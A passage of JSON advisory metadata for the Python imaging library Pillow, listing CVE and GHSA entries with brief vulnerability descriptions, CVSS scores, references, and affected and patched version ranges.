CVE-2020-5311.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2020-07-27T21:52:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-11538","https://github.com/python-pillow/Pillow/pull/4504","https://github.com/python-pillow/Pillow/pull/4538","https://github.com/python-pillow/Pillow/commit/2ef59fdbaeb756bc512ab3f2ad15ac45665b303d","https://github.com/python-pillow/Pillow/blob/master/docs/releasenotes/7.1.0.rst#security","https://pillow.readthedocs.io/en/stable/releasenotes/7.1.0.html","https://pillow.readthedocs.io/en/stable/releasenotes/index.html","https://snyk.io/vuln/SNYK-PYTHON-PILLOW-574574","https://github.com/advisories/GHSA-43fq-w8qq-v88h","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2020-80.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BEBCPE4F2VHTIT6EZA2YZQZLPVDEBJGD","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HOKHNWV2VS5GESY7IBD237E7C6T3I427","https://usn.ubuntu.com/4430-1","https://usn.ubuntu.com/4430-2"],"source_kind":"github","identifiers":["GHSA-43fq-w8qq-v88h","CVE-2020-11538"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":45.529851256812286,"created_at":"2022-12-21T16:13:23.401Z","updated_at":"2026-08-21T15:13:48.232Z","epss_percentage":0.02514,"epss_percentile":0.83518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQzZnEtdzhxcS12ODho","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQzZnEtdzhxcS12ODho","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"7.1.0","vulnerable_version_range":"\u003c 7.1.0"}],"purl":"pkg:pypi/pillow","statistics":{"dependent_packages_count":4378,"dependent_repos_count":88899,"downloads":566501168,"downloads_period":"last-month"},"affected_versions":["1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0"],"unaffected_versions":["7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQzZnEtdzhxcS12ODho/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXI4NTQtOTZncS1yZmcz","url":"https://github.com/advisories/GHSA-r854-96gq-rfg3","title":"Pillow Temporary file name leakage","description":"The (1) JpegImagePlugin.py and (2) EpsImagePlugin.py scripts in Python Image Library (PIL) 1.1.7 and earlier and Pillow before 2.3.1 uses the names of temporary files on the command line, which makes it easier for local users to conduct symlink attacks by listing the processes.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-05-18T17:41:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2014-1933","https://github.com/python-imaging/Pillow/commit/4e9f367dfd3f04c8f5d23f7f759ec12782e10ee7","https://security.gentoo.org/glsa/201612-52","http://lists.opensuse.org/opensuse-updates/2014-05/msg00002.html","http://www.openwall.com/lists/oss-security/2014/02/10/15","http://www.openwall.com/lists/oss-security/2014/02/11/1","http://www.ubuntu.com/usn/USN-2168-1","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2014-23.yaml","https://github.com/advisories/GHSA-r854-96gq-rfg3"],"source_kind":"github","identifiers":["GHSA-r854-96gq-rfg3","CVE-2014-1933"],"repository_url":"https://github.com/python-imaging/Pillow","blast_radius":25.239374066276376,"created_at":"2022-12-21T16:13:24.721Z","updated_at":"2026-08-21T12:10:07.665Z","epss_percentage":0.00451,"epss_percentile":0.37671,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXI4NTQtOTZncS1yZmcz","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXI4NTQtOTZncS1yZmcz","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"\u003c 2.3.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXI4NTQtOTZncS1yZmcz/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTVnbTMtcHg2NC1ydzcy","url":"https://github.com/advisories/GHSA-5gm3-px64-rw72","title":"Uncontrolled Resource Consumption in Pillow","description":"There is a DoS vulnerability in Pillow before 6.2.2 caused by FpxImagePlugin.py calling the range function on an unvalidated 32-bit integer if the number of bands is large. On Windows running 32-bit Python, this results in an OverflowError or MemoryError due to the 2 GB limit. However, on Linux running 64-bit Python this results in the process being terminated by the OOM killer.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-04-01T16:36:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-19911","https://github.com/python-pillow/Pillow/commit/774e53bb132461d8d5ebefec1162e29ec0ebc63d","https://github.com/python-pillow/Pillow/blob/master/CHANGES.rst#622-2020-01-02","https://pillow.readthedocs.io/en/stable/releasenotes/6.2.2.html","https://www.debian.org/security/2020/dsa-4631","https://github.com/advisories/GHSA-5gm3-px64-rw72","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2020-172.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3DUMIBUYGJRAVJCTFUWBRLVQKOUTVX5P","https://usn.ubuntu.com/4272-1"],"source_kind":"github","identifiers":["GHSA-5gm3-px64-rw72","CVE-2019-19911"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:13:25.500Z","updated_at":"2026-07-07T03:05:10.846Z","epss_percentage":0.02118,"epss_percentile":0.795,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTVnbTMtcHg2NC1ydzcy","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTVnbTMtcHg2NC1ydzcy","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"6.2.2","vulnerable_version_range":"\u003e= 0, \u003c 6.2.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTVnbTMtcHg2NC1ydzcy/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhqNjktYzc2di04Nndy","url":"https://github.com/advisories/GHSA-hj69-c76v-86wr","title":"Out-of-bounds Read in Pillow","description":"`libImaging/FliDecode.c` in Pillow before 6.2.2 has an FLI buffer overflow.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-04-01T16:36:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-5313","https://github.com/python-pillow/Pillow/commit/a09acd0decd8a87ccce939d5ff65dab59e7d365b","https://github.com/python-pillow/Pillow/blob/master/CHANGES.rst#622-2020-01-02","https://pillow.readthedocs.io/en/stable/releasenotes/6.2.2.html","https://www.debian.org/security/2020/dsa-4631","https://github.com/advisories/GHSA-hj69-c76v-86wr","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2020-84.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2MMU3WT2X64GS5WHDPKKC2WZA7UIIQ3A","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3DUMIBUYGJRAVJCTFUWBRLVQKOUTVX5P","https://usn.ubuntu.com/4272-1"],"source_kind":"github","identifiers":["GHSA-hj69-c76v-86wr","CVE-2020-5313"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":41.07584406864587,"created_at":"2022-12-21T16:13:25.527Z","updated_at":"2026-07-14T18:08:58.155Z","epss_percentage":0.02752,"epss_percentile":0.84504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhqNjktYzc2di04Nndy","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhqNjktYzc2di04Nndy","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"6.2.2","vulnerable_version_range":"\u003c 6.2.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhqNjktYzc2di04Nndy/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWo3bWotNzQ4eC03cDc4","url":"https://github.com/advisories/GHSA-j7mj-748x-7p78","title":"DOS attack in Pillow when processing specially crafted image files","description":"An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2019-10-22T14:40:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-16865","https://github.com/python-pillow/Pillow/issues/4123","https://pillow.readthedocs.io/en/latest/releasenotes/6.2.0.html","https://access.redhat.com/errata/RHSA-2020:0566","https://access.redhat.com/errata/RHSA-2020:0578","https://access.redhat.com/errata/RHSA-2020:0580","https://www.debian.org/security/2020/dsa-4631","https://access.redhat.com/errata/RHSA-2020:0681","https://access.redhat.com/errata/RHSA-2020:0683","https://access.redhat.com/errata/RHSA-2020:0694","https://github.com/python-pillow/Pillow/commit/ab52630d0644e42a75eb88b78b9a9d7438a6fbeb","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EMJBUZQGQ2Q7HXYCQVRLU7OXNC7CAWWU","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LYDXD7EE4YAEVSTNIFZKNVPRVJX5ZOG3","https://ubuntu.com/security/notices/USN-4272-1","https://usn.ubuntu.com/4272-1","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2019-110.yaml","https://github.com/advisories/GHSA-j7mj-748x-7p78"],"source_kind":"github","identifiers":["GHSA-j7mj-748x-7p78","CVE-2019-16865"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:13:27.682Z","updated_at":"2026-07-19T12:08:41.628Z","epss_percentage":0.03154,"epss_percentile":0.86503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWo3bWotNzQ4eC03cDc4","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWo3bWotNzQ4eC03cDc4","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"6.2.0","vulnerable_version_range":"\u003c 6.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWo3bWotNzQ4eC03cDc4/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWh2cjgtNDY2cC03NXJo","url":"https://github.com/advisories/GHSA-hvr8-466p-75rh","title":"Pillow Integer overflow in ImagingResampleHorizontal","description":"Integer overflow in the `ImagingResampleHorizontal` function in `libImaging/Resample.c` in Pillow before 3.1.1 allows remote attackers to have unspecified impact via negative values of the new size, which triggers a heap-based buffer overflow.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2018-07-24T20:15:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2016-4009","https://github.com/python-pillow/Pillow/pull/1714","https://github.com/python-pillow/Pillow/commit/4e0d9b0b9740d258ade40cce248c93777362ac1e","https://github.com/advisories/GHSA-hvr8-466p-75rh","https://github.com/python-pillow/Pillow/blob/c3cb690fed5d4bf0c45576759de55d054916c165/CHANGES.rst","https://security.gentoo.org/glsa/201612-52","http://www.securityfocus.com/bid/86064","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2016-7.yaml"],"source_kind":"github","identifiers":["GHSA-hvr8-466p-75rh","CVE-2016-4009"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":46.02474094438634,"created_at":"2022-12-21T16:13:37.044Z","updated_at":"2026-07-07T03:05:10.844Z","epss_percentage":0.07871,"epss_percentile":0.93952,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWh2cjgtNDY2cC03NXJo","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWh2cjgtNDY2cC03NXJo","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"3.1.1","vulnerable_version_range":"\u003e= 0, \u003c 3.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWh2cjgtNDY2cC03NXJo/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTh4anYtdjl4cS1tNWg5","url":"https://github.com/advisories/GHSA-8xjv-v9xq-m5h9","title":"Pillow Buffer overflow in ImagingFliDecode","description":"Buffer overflow in the `ImagingFliDecode` function in `libImaging/FliDecode.c` in Pillow before 3.1.1 allows remote attackers to cause a denial of service (crash) via a crafted FLI file.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2018-07-24T20:15:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2016-0775","https://github.com/python-pillow/Pillow/commit/893a40850c2d5da41537958e40569c029a6e127b","https://github.com/advisories/GHSA-8xjv-v9xq-m5h9","https://github.com/python-pillow/Pillow/blob/c3cb690fed5d4bf0c45576759de55d054916c165/CHANGES.rst","https://security.gentoo.org/glsa/201612-52","http://www.debian.org/security/2016/dsa-3499","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2016-6.yaml"],"source_kind":"github","identifiers":["GHSA-8xjv-v9xq-m5h9","CVE-2016-0775"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":35.13716781775731,"created_at":"2022-12-21T16:13:37.082Z","updated_at":"2026-07-29T14:13:44.343Z","epss_percentage":0.02499,"epss_percentile":0.83012,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTh4anYtdjl4cS1tNWg5","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTh4anYtdjl4cS1tNWg5","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"3.1.1","vulnerable_version_range":"\u003c 3.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTh4anYtdjl4cS1tNWg5/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTNjNWMtNzIzNS05OTRq","url":"https://github.com/advisories/GHSA-3c5c-7235-994j","title":"Pillow buffer overflow in ImagingPcdDecode","description":"Buffer overflow in the `ImagingPcdDecode` function in `PcdDecode.c` in Pillow before 3.1.1 and Python Imaging Library (PIL) 1.1.7 and earlier allows remote attackers to cause a denial of service (crash) via a crafted PhotoCD file.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2018-07-24T20:15:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2016-2533","https://github.com/python-pillow/Pillow/pull/1706","https://github.com/python-pillow/Pillow/commit/5bdf54b5a76b54fb00bd05f2d733e0a4173eefc9#diff-8ff6909c159597e22288ad818938fd6b","https://github.com/python-pillow/Pillow/commit/ae453aa18b66af54e7ff716f4ccb33adca60afd4#diff-8ff6909c159597e22288ad818938fd6b","https://github.com/advisories/GHSA-3c5c-7235-994j","https://security.gentoo.org/glsa/201612-52","http://www.debian.org/security/2016/dsa-3499","http://www.openwall.com/lists/oss-security/2016/02/02/5","http://www.openwall.com/lists/oss-security/2016/02/22/2","http://www.oracle.com/technetwork/topics/security/bulletinjan2016-2867206.html","https://github.com/python-pillow/Pillow/blob/c3cb690fed5d4bf0c45576759de55d054916c165/CHANGES.rst?plain=1#L53","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2016-19.yaml","https://github.com/python-pillow/Pillow/blob/c3cb690fed5d4bf0c45576759de55d054916c165/CHANGES.rst"],"source_kind":"github","identifiers":["GHSA-3c5c-7235-994j","CVE-2016-2533"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":35.13716781775731,"created_at":"2022-12-21T16:13:37.091Z","updated_at":"2026-08-11T14:11:58.645Z","epss_percentage":0.03998,"epss_percentile":0.895,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTNjNWMtNzIzNS05OTRq","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTNjNWMtNzIzNS05OTRq","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"3.1.1","vulnerable_version_range":"\u003e= 0, \u003c 3.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTNjNWMtNzIzNS05OTRq/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJ3cjMtYzJxOC1nbTU2","url":"https://github.com/advisories/GHSA-rwr3-c2q8-gm56","title":"Pillow Integer overflow in Map.c","description":"Pillow before 3.3.2 allows context-dependent attackers to obtain sensitive information by using the \"crafted image file\" approach, related to an \"Integer Overflow\" issue affecting the `Image.core.map_buffer` in `map.c` component.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2018-07-24T20:08:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2016-9189","https://github.com/python-pillow/Pillow/issues/2105","https://github.com/python-pillow/Pillow/pull/2146/commits/c50ebe6459a131a1ea8ca531f10da616d3ceaa0f","https://github.com/advisories/GHSA-rwr3-c2q8-gm56","https://security.gentoo.org/glsa/201612-52","http://pillow.readthedocs.io/en/3.4.x/releasenotes/3.3.2.html","http://www.debian.org/security/2016/dsa-3710","http://www.securityfocus.com/bid/94234","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2016-8.yaml"],"source_kind":"github","identifiers":["GHSA-rwr3-c2q8-gm56","CVE-2016-9189"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":34.14738844260922,"created_at":"2022-12-21T16:13:37.101Z","updated_at":"2026-08-14T00:10:42.240Z","epss_percentage":0.01877,"epss_percentile":0.77511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJ3cjMtYzJxOC1nbTU2","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJ3cjMtYzJxOC1nbTU2","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"3.3.2","vulnerable_version_range":"\u003e= 0, \u003c 3.3.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJ3cjMtYzJxOC1nbTU2/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhnZ3gtM2g3Mi00OXd3","url":"https://github.com/advisories/GHSA-hggx-3h72-49ww","title":"Pillow Buffer overflow in ImagingLibTiffDecode","description":"Buffer overflow in the `ImagingLibTiffDecode` function in `libImaging/TiffDecode.c` in Pillow before 3.1.1 allows remote attackers to overwrite memory via a crafted TIFF file.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2018-07-24T20:03:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2016-0740","https://github.com/python-pillow/Pillow/commit/6dcbf5bd96b717c58d7b642949da8d323099928e","https://github.com/advisories/GHSA-hggx-3h72-49ww","https://github.com/python-pillow/Pillow/blob/c3cb690fed5d4bf0c45576759de55d054916c165/CHANGES.rst","https://security.gentoo.org/glsa/201612-52","http://www.debian.org/security/2016/dsa-3499","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2016-5.yaml"],"source_kind":"github","identifiers":["GHSA-hggx-3h72-49ww","CVE-2016-0740"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":34.14738844260922,"created_at":"2022-12-21T16:13:37.120Z","updated_at":"2026-08-14T00:10:39.858Z","epss_percentage":0.02542,"epss_percentile":0.83503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhnZ3gtM2g3Mi00OXd3","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhnZ3gtM2g3Mi00OXd3","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"3.1.1","vulnerable_version_range":"\u003e= 0, \u003c 3.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhnZ3gtM2g3Mi00OXd3/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXc0dmctcmY2My1mM2oz","url":"https://github.com/advisories/GHSA-w4vg-rf63-f3j3","title":"Arbitrary code using \"crafted image file\" approach affecting Pillow","description":"Pillow before 3.3.2 allows context-dependent attackers to execute arbitrary code by using the \"crafted image file\" approach, related to an \"Insecure Sign Extension\" issue affecting the ImagingNew in Storage.c component.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2018-07-12T14:45:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2016-9190","https://github.com/python-pillow/Pillow/issues/2105","https://github.com/python-pillow/Pillow/pull/2146/commits/5d8a0be45aad78c5a22c8d099118ee26ef8144af","https://github.com/advisories/GHSA-w4vg-rf63-f3j3","https://security.gentoo.org/glsa/201612-52","http://pillow.readthedocs.io/en/3.4.x/releasenotes/3.3.2.html","http://www.debian.org/security/2016/dsa-3710","http://www.securityfocus.com/bid/94234","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2016-9.yaml"],"source_kind":"github","identifiers":["GHSA-w4vg-rf63-f3j3","CVE-2016-9190"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:13:37.232Z","updated_at":"2026-08-21T15:14:06.014Z","epss_percentage":0.01881,"epss_percentile":0.77511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXc0dmctcmY2My1mM2oz","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXc0dmctcmY2My1mM2oz","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"3.3.2","vulnerable_version_range":"\u003c 3.3.2"}],"purl":"pkg:pypi/pillow","statistics":{"dependent_packages_count":4378,"dependent_repos_count":88899,"downloads":566501168,"downloads_period":"last-month"},"affected_versions":["1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1"],"unaffected_versions":["3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXc0dmctcmY2My1mM2oz/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/pillow","docker_dependents_count":1623,"docker_downloads_count":814528772,"usage_url":"https://repos.ecosyste.ms/usage/pypi/pillow","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/pillow/dependencies","status":null,"funding_links":["https://tidelift.com/subscription/pkg/pypi-pillow?utm_source=pypi-pillow\u0026utm_medium=pypi","https://tidelift.com/funding/github/pypi/pillow"],"critical":true,"issue_metadata":{"last_synced_at":"2024-10-28T17:40:34.037Z","issues_count":639,"pull_requests_count":987,"avg_time_to_close_issue":10637170.445229681,"avg_time_to_close_pull_request":1411334.7841409692,"issues_closed_count":564,"pull_requests_closed_count":908,"pull_request_authors_count":90,"issue_authors_count":502,"avg_comments_per_issue":8.306729264475743,"avg_comments_per_pull_request":1.5724417426545085,"merged_pull_requests_count":815,"bot_issues_count":1,"bot_pull_requests_count":52,"past_yea